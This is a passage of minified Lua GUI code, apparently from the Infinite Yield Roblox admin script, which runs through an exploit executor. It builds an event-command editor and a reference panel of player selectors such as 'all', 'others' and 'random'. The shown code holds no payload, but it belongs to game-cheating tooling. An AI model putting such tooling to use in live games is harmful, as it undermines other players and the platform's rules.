{32,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Any",Parent={30},Position=UDim2.new(0,5,0,20),Size=UDim2.new(1,-10,0,20),Text="Any String",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {33,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="Button",Parent={32},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),ZIndex=10,}}, {34,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={33},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}}, {54,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Name="Numbers",Parent={18},Position=UDim2.new(0,0,0,25),Size=UDim2.new(1,0,0,64),Visible=false,ZIndex=10,}}, {55,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={54},Size=UDim2.new(1,0,0,20),Text="Choose String",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}}, {56,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Any",Parent={54},Position=UDim2.new(0,5,0,20),Size=UDim2.new(1,-10,0,20),Text="Any Number",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {57,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="Button",Parent={56},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),ZIndex=10,}}, {58,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={57},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}}, {59,"TextBox",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,ClearTextOnFocus=false,Font=3,Name="Custom",Parent={54},PlaceholderColor3=Color3.new(0.47058826684952,0.47058826684952,0.47058826684952),PlaceholderText="Number",Position=UDim2.new(0,5,0,42),Size=UDim2.new(1,-35,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {60,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="CustomButton",Parent={54},Position=UDim2.new(1,-25,0,42),Size=UDim2.new(0,20,0,20),ZIndex=10,}}, {61,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={60},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}}, {35,"TextBox",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,ClearTextOnFocus=false,Font=3,Name="Custom",Parent={30},PlaceholderColor3=Color3.new(0.47058826684952,0.47058826684952,0.47058826684952),PlaceholderText="Match String",Position=UDim2.new(0,5,0,42),Size=UDim2.new(1,-35,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {36,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="CustomButton",Parent={30},Position=UDim2.new(1,-25,0,42),Size=UDim2.new(0,20,0,20),ZIndex=10,}}, {37,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={36},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}}, {38,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Name="DelayEditor",Parent={18},Position=UDim2.new(0,0,0,25),Size=UDim2.new(1,0,0,24),Visible=false,ZIndex=10,}}, {39,"TextBox",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,Font=3,Name="Secs",Parent={38},PlaceholderColor3=Color3.new(0.47058826684952,0.47058826684952,0.47058826684952),Position=UDim2.new(0,60,0,2),Size=UDim2.new(1,-65,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {40,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Label",Parent={39},Position=UDim2.new(0,-55,0,0),Size=UDim2.new(1,0,1,0),Text="Delay (s):",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {41,"Frame",{BackgroundColor3=currentShade1,BorderSizePixel=0,ClipsDescendants=true,Name="EventTemplate",Parent={6},Size=UDim2.new(1,0,0,20),Visible=false,ZIndex=10,}}, {42,"TextButton",{BackgroundColor3=currentText1,BackgroundTransparency=1,Font=3,Name="Expand",Parent={41},Size=UDim2.new(0,20,0,20),Text=">",TextColor3=Color3.new(1,1,1),TextSize=18,ZIndex=10,}}, {43,"TextLabel",{BackgroundColor3=currentText1,BackgroundTransparency=1,Font=3,Name="EventName",Parent={41},Position=UDim2.new(0,25,0,0),Size=UDim2.new(1,-25,0,20),Text="OnSpawn",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {44,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BorderSizePixel=0,BackgroundTransparency=1,ClipsDescendants=true,Name="Cmds",Parent={41},Position=UDim2.new(0,0,0,20),Size=UDim2.new(1,0,1,-20),ZIndex=10,}}, {45,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BorderColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),Name="Add",Parent={44},Position=UDim2.new(0,0,1,-20),Size=UDim2.new(1,0,0,20),ZIndex=10,}}, {46,"TextBox",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,ClearTextOnFocus=false,Font=3,Parent={45},PlaceholderColor3=Color3.new(0.7843137383461,0.7843137383461,0.7843137383461),PlaceholderText="Add new command",Position=UDim2.new(0,5,0,0),Size=UDim2.new(1,-10,1,0),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {47,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Holder",Parent={44},Size=UDim2.new(1,0,1,-20),ZIndex=10,}}, {48,"UIListLayout",{Parent={47},SortOrder=2,}}, {49,"Frame",{currentShade1,BorderSizePixel=0,ClipsDescendants=true,Name="CmdTemplate",Parent={6},Size=UDim2.new(1,0,0,20),Visible=false,ZIndex=10,}}, {50,"TextBox",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,ClearTextOnFocus=false,Font=3,Parent={49},PlaceholderColor3=Color3.new(1,1,1),Position=UDim2.new(0,5,0,0),Size=UDim2.new(1,-45,0,20),Text="a\\b\\c\\d",TextColor3=currentText1,TextSize=14,TextXAlignment=0,ZIndex=10,}}, {51,"TextButton",{BackgroundColor3=currentShade1,BorderSizePixel=0,Font=3,Name="Delete",Parent={49},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),Text="X",TextColor3=Color3.new(1,1,1),TextSize=18,ZIndex=10,}}, {52,"TextButton",{BackgroundColor3=currentShade1,BorderSizePixel=0,Font=3,Name="Settings",Parent={49},Position=UDim2.new(1,-40,0,0),Size=UDim2.new(0,20,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=18,ZIndex=10,}}, {53,"ImageLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Image=getcustomasset("infiniteyield/assets/settings.png"),Parent={52},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),ZIndex=10,}}, }) main.Name = randomString() local mainFrame = main:WaitForChild("Content") local eventList = mainFrame:WaitForChild("List") local eventListHolder = eventList:WaitForChild("Holder") local cmdTemplate = mainFrame:WaitForChild("CmdTemplate") local eventTemplate = mainFrame:WaitForChild("EventTemplate") local settingsFrame = mainFrame:WaitForChild("Settings"):WaitForChild("Slider") local settingsTemplates = mainFrame.Settings:WaitForChild("Templates") local settingsList = settingsFrame:WaitForChild("List"):WaitForChild("Holder") table.insert(shade2,main.TopBar) table.insert(shade1,mainFrame) table.insert(shade2,eventTemplate) table.insert(text1,eventTemplate.EventName) table.insert(shade1,eventTemplate.Cmds.Add) table.insert(shade1,cmdTemplate) table.insert(text1,cmdTemplate.TextBox) table.insert(shade2,cmdTemplate.Delete) table.insert(shade2,cmdTemplate.Settings) table.insert(scroll,mainFrame.List) table.insert(shade1,settingsFrame) table.insert(shade2,settingsFrame.Line) table.insert(shade2,settingsFrame.Close) table.insert(scroll,settingsFrame.List) table.insert(shade2,settingsTemplates.DelayEditor.Secs) table.insert(text1,settingsTemplates.DelayEditor.Secs) table.insert(text1,settingsTemplates.DelayEditor.Secs.Label) table.insert(text1,settingsTemplates.Players.Title) table.insert(shade3,settingsTemplates.Players.CustomButton) table.insert(shade2,settingsTemplates.Players.Custom) table.insert(text1,settingsTemplates.Players.Custom) table.insert(shade3,settingsTemplates.Players.Any.Button) table.insert(shade3,settingsTemplates.Players.Me.Button) table.insert(text1,settingsTemplates.Players.Any) table.insert(text1,settingsTemplates.Players.Me) table.insert(text1,settingsTemplates.Strings.Title) table.insert(text1,settingsTemplates.Strings.Any) table.insert(shade3,settingsTemplates.Strings.Any.Button) table.insert(shade3,settingsTemplates.Strings.CustomButton) table.insert(text1,settingsTemplates.Strings.Custom) table.insert(shade2,settingsTemplates.Strings.Custom) table.insert(text1,settingsTemplates.Players.Me) table.insert(text1,settingsTemplates.Numbers.Title) table.insert(text1,settingsTemplates.Numbers.Any) table.insert(shade3,settingsTemplates.Numbers.Any.Button) table.insert(shade3,settingsTemplates.Numbers.CustomButton) table.insert(text1,settingsTemplates.Numbers.Custom) table.insert(shade2,settingsTemplates.Numbers.Custom) local tweenInf = TweenInfo.new(0.25,Enum.EasingStyle.Quart,Enum.EasingDirection.Out) local currentlyEditingCmd = nil settingsFrame:WaitForChild("Close").MouseButton1Click:Connect(function() settingsFrame:TweenPosition(UDim2.new(0,-150,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true) end) local function resizeList() local size = 0 for i,v in pairs(eventListHolder:GetChildren()) do if v.Name == "EventTemplate" then size = size + 20 if v.Expand.Rotation == 90 then size = size + 20*(1+(#events[v.EventName:GetAttribute("RawName")].commands or 0)) end end end TweenService:Create(eventList,tweenInf,{CanvasSize = UDim2.new(0,0,0,size)}):Play() if size > eventList.AbsoluteSize.Y then eventListHolder.Size = UDim2.new(1,-8,1,0) else eventListHolder.Size = UDim2.new(1,0,1,0) end end local function resizeSettingsList() local size = 0 for i,v in pairs(settingsList:GetChildren()) do if v:IsA("Frame") then size = size + v.AbsoluteSize.Y end end settingsList.Parent.CanvasSize = UDim2.new(0,0,0,size) if size > settingsList.Parent.AbsoluteSize.Y then settingsList.Size = UDim2.new(1,-8,1,0) else settingsList.Size = UDim2.new(1,0,1,0) end end local function setupCheckbox(button,callback) local enabled = button.On.BackgroundTransparency == 0 local function update() button.On.BackgroundTransparency = (enabled and 0 or 1) end button.On.MouseButton1Click:Connect(function() enabled = not enabled update() if callback then callback(enabled) end end) return { Toggle = function(nocall) enabled = not enabled update() if not nocall and callback then callback(enabled) end end, Enable = function(nocall) if enabled then return end enabled = true update()if not nocall and callback then callback(enabled) end end, Disable = function(nocall) if not enabled then return end enabled = false update()if not nocall and callback then callback(enabled) end end, IsEnabled = function() return enabled end } end local function openSettingsEditor(event,cmd) currentlyEditingCmd = cmd for i,v in pairs(settingsList:GetChildren()) do if v:IsA("Frame") then v:Destroy() end end local delayEditor = settingsTemplates.DelayEditor:Clone() delayEditor.Secs.FocusLost:Connect(function() cmd[3] = tonumber(delayEditor.Secs.Text) or 0 delayEditor.Secs.Text = cmd[3] if onEdited then onEdited() end end) delayEditor.Secs.Text = cmd[3] delayEditor.Visible = true table.insert(shade2,delayEditor.Secs) table.insert(text1,delayEditor.Secs) table.insert(text1,delayEditor.Secs.Label) delayEditor.Parent = settingsList for i,v in pairs(event.sets) do if v.Type == "Player" then local template = settingsTemplates.Players:Clone() template.Title.Text = v.Name or "Player" local me,any,custom me = setupCheckbox(template.Me.Button,function(on) if not on then return end any.Disable() custom.Disable() cmd[2][i] = 0 if onEdited then onEdited() end end) any = setupCheckbox(template.Any.Button,function(on) if not on then return end me.Disable() custom.Disable() cmd[2][i] = 1 if onEdited then onEdited() end end) local customTextBox = template.Custom custom = setupCheckbox(template.CustomButton,function(on) if not on then return end me.Disable() any.Disable() cmd[2][i] = customTextBox.Text if onEdited then onEdited() end end) ViewportTextBox.convert(customTextBox) customTextBox.FocusLost:Connect(function() if custom:IsEnabled() then cmd[2][i] = customTextBox.Text if onEdited then onEdited() end end end) local cVal = cmd[2][i] if cVal == 0 then me:Enable() elseif cVal == 1 then any:Enable() else custom:Enable() customTextBox.Text = cVal end template.Visible = true table.insert(text1,template.Title) table.insert(shade3,template.CustomButton) table.insert(shade3,template.Any.Button) table.insert(shade3,template.Me.Button) table.insert(text1,template.Any) table.insert(text1,template.Me) template.Parent = settingsList elseif v.Type == "String" then local template = settingsTemplates.Strings:Clone() template.Title.Text = v.Name or "String" local any,custom any = setupCheckbox(template.Any.Button,function(on) if not on then return end custom.Disable() cmd[2][i] = 0 if onEdited then onEdited() end end) local customTextBox = template.Custom custom = setupCheckbox(template.CustomButton,function(on) if not on then return end any.Disable() cmd[2][i] = customTextBox.Text if onEdited then onEdited() end end) ViewportTextBox.convert(customTextBox) customTextBox.FocusLost:Connect(function() if custom:IsEnabled() then cmd[2][i] = customTextBox.Text if onEdited then onEdited() end end end) local cVal = cmd[2][i] if cVal == 0 then any:Enable() else custom:Enable() customTextBox.Text = cVal end template.Visible = true table.insert(text1,template.Title) table.insert(text1,template.Any) table.insert(shade3,template.Any.Button) table.insert(shade3,template.CustomButton) template.Parent = settingsList elseif v.Type == "Number" then local template = settingsTemplates.Numbers:Clone() template.Title.Text = v.Name or "Number" local any,custom any = setupCheckbox(template.Any.Button,function(on) if not on then return end custom.Disable() cmd[2][i] = 0 if onEdited then onEdited() end end) local customTextBox = template.Custom custom = setupCheckbox(template.CustomButton,function(on) if not on then return end any.Disable() cmd[2][i] = customTextBox.Text if onEdited then onEdited() end end) ViewportTextBox.convert(customTextBox) customTextBox.FocusLost:Connect(function() cmd[2][i] = tonumber(customTextBox.Text) or 0 customTextBox.Text = cmd[2][i] if custom:IsEnabled() then if onEdited then onEdited() end end end) local cVal = cmd[2][i] if cVal == 0 then any:Enable() else custom:Enable() customTextBox.Text = cVal end template.Visible = true table.insert(text1,template.Title) table.insert(text1,template.Any) table.insert(shade3,template.Any.Button) table.insert(shade3,template.CustomButton) template.Parent = settingsList end end resizeSettingsList() settingsFrame:TweenPosition(UDim2.new(0,0,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true) end local function defaultSettings(ev) local res = {} for i,v in pairs(ev.sets) do if v.Type == "Player" then res[#res+1] = v.Default or 0 elseif v.Type == "String" then res[#res+1] = v.Default or 0 elseif v.Type == "Number" then res[#res+1] = v.Default or 0 end end return res end local function refreshList() for i,v in pairs(eventListHolder:GetChildren()) do if v:IsA("Frame") then v:Destroy() end end for name,event in pairs(events) do local eventF = eventTemplate:Clone() eventF.EventName.Text = name eventF.Visible = true eventF.EventName:SetAttribute("RawName", name) table.insert(shade2,eventF) table.insert(text1,eventF.EventName) table.insert(shade1,eventF.Cmds.Add) local expanded = false eventF.Expand.MouseButton1Down:Connect(function() expanded = not expanded eventF:TweenSize(UDim2.new(1,0,0,20 + (expanded and 20*#eventF.Cmds.Holder:GetChildren() or 0)),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true) eventF.Expand.Rotation = expanded and 90 or 0 resizeList() end) local function refreshCommands() for i,v in pairs(eventF.Cmds.Holder:GetChildren()) do if v.Name == "CmdTemplate" then v:Destroy() end end eventF.EventName.Text = name..(#event.commands > 0 and " ("..#event.commands..")" or "") for i,cmd in pairs(event.commands) do local cmdF = cmdTemplate:Clone() local cmdTextBox = cmdF.TextBox ViewportTextBox.convert(cmdTextBox) cmdTextBox.Text = cmd[1] cmdF.Visible = true table.insert(shade1,cmdF) table.insert(shade2,cmdF.Delete) table.insert(shade2,cmdF.Settings) cmdTextBox.FocusLost:Connect(function() event.commands[i] = {cmdTextBox.Text,cmd[2],cmd[3]} if onEdited then onEdited() end end) cmdF.Settings.MouseButton1Click:Connect(function() openSettingsEditor(event,cmd) end) cmdF.Delete.MouseButton1Click:Connect(function() table.remove(event.commands,i) refreshCommands() resizeList() if currentlyEditingCmd == cmd then settingsFrame:TweenPosition(UDim2.new(0,-150,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true) end if onEdited then onEdited() end end) cmdF.Parent = eventF.Cmds.Holder end eventF:TweenSize(UDim2.new(1,0,0,20 + (expanded and 20*#eventF.Cmds.Holder:GetChildren() or 0)),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true) end local newBox = eventF.Cmds.Add.TextBox ViewportTextBox.convert(newBox) newBox.FocusLost:Connect(function(enter) if enter then event.commands[#event.commands+1] = {newBox.Text,defaultSettings(event),0} newBox.Text = "" refreshCommands() resizeList() if onEdited then onEdited() end end end) --eventF:GetPropertyChangedSignal("AbsoluteSize"):Connect(resizeList) eventF.Parent = eventListHolder refreshCommands() end resizeList() end local function saveData() local result = {} for i,v in pairs(events) do result[i] = v.commands end return HttpService:JSONEncode(result) end local function loadData(str) local data = HttpService:JSONDecode(str) for i,v in pairs(data) do if events[i] then events[i].commands = v end end end local function addCmd(event,data) table.insert(events[event].commands,data) end local function setOnEdited(f) if type(f) == "function" then onEdited = f end end main.TopBar.Close.MouseButton1Click:Connect(function() main:TweenPosition(UDim2.new(0.5,-175,0,-500), "InOut", "Quart", 0.5, true, nil) end) dragGUI(main) main.Parent = ScaledHolder return { RegisterEvent = registerEvent, FireEvent = fireEvent, Refresh = refreshList, SaveData = saveData, LoadData = loadData, AddCmd = addCmd, Frame = main, SetOnEdited = setOnEdited } end)() reference = (function() local main = create({ {1,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,Name="Main",Position=UDim2.new(0.5,-250,0,-500),Size=UDim2.new(0,500,0,20),ZIndex=10,}}, {2,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="TopBar",Parent={1},Size=UDim2.new(1,0,0,20),ZIndex=10,}}, {3,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={2},Size=UDim2.new(1,0,0.94999998807907,0),Text="Reference",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}}, {4,"TextButton",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Close",Parent={2},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}}, {5,"ImageLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Image=getcustomasset("infiniteyield/assets/close.png"),Parent={4},Position=UDim2.new(0,5,0,5),Size=UDim2.new(0,10,0,10),ZIndex=10,}}, {6,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BorderSizePixel=0,Name="Content",Parent={1},Position=UDim2.new(0,0,0,20),Size=UDim2.new(1,0,0,300),ZIndex=10,}}, {7,"ScrollingFrame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,BottomImage="rbxasset://textures/ui/Scroll/scroll-middle.png",CanvasSize=UDim2.new(0,0,0,1313),Name="List",Parent={6},ScrollBarImageColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),ScrollBarThickness=8,Size=UDim2.new(1,0,1,0),TopImage="rbxasset://textures/ui/Scroll/scroll-middle.png",VerticalScrollBarInset=2,ZIndex=10,}}, {8,"UIListLayout",{Parent={7},SortOrder=2,}}, {9,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,429),ZIndex=10,}}, {10,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={9},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Special Player Cases",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}}, {11,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={9},Position=UDim2.new(0,8,0,25),Size=UDim2.new(1,-8,0,20),Text="These keywords can be used to quickly select groups of players in commands:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {12,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={9},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}}, {13,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Cases",Parent={9},Position=UDim2.new(0,8,0,55),Size=UDim2.new(1,-16,0,342),ZIndex=10,}}, {14,"UIListLayout",{Parent={13},SortOrder=2,}}, {15,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,LayoutOrder=-4,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {16,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={15},Size=UDim2.new(1,0,1,0),Text="all",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {17,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={15},Position=UDim2.new(0,15,0,0),Size=UDim2.new(1,0,1,0),Text="- includes everyone",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {18,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,LayoutOrder=-3,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {19,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={18},Size=UDim2.new(1,0,1,0),Text="others",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {20,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={18},Position=UDim2.new(0,37,0,0),Size=UDim2.new(1,0,1,0),Text="- includes everyone except you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {21,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,LayoutOrder=-2,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {22,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={21},Size=UDim2.new(1,0,1,0),Text="me",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {23,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={21},Position=UDim2.new(0,19,0,0),Size=UDim2.new(1,0,1,0),Text="- includes your player only",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {24,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {25,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={24},Size=UDim2.new(1,0,1,0),Text="#[number]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {26,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={24},Position=UDim2.new(0,59,0,0),Size=UDim2.new(1,0,1,0),Text="- gets a specified amount of random players",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {27,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {28,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={27},Size=UDim2.new(1,0,1,0),Text="random",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {29,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={27},Position=UDim2.new(0,44,0,0),Size=UDim2.new(1,0,1,0),Text="- affects a random player",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {30,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {31,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={30},Size=UDim2.new(1,0,1,0),Text="%[team name]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {32,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={30},Position=UDim2.new(0,78,0,0),Size=UDim2.new(1,0,1,0),Text="- includes everyone on a given team",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {33,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {34,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={33},Size=UDim2.new(1,0,1,0),Text="allies / team",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {35,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={33},Position=UDim2.new(0,63,0,0),Size=UDim2.new(1,0,1,0),Text="- players who are on your team",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {36,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {37,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={36},Size=UDim2.new(1,0,1,0),Text="enemies / 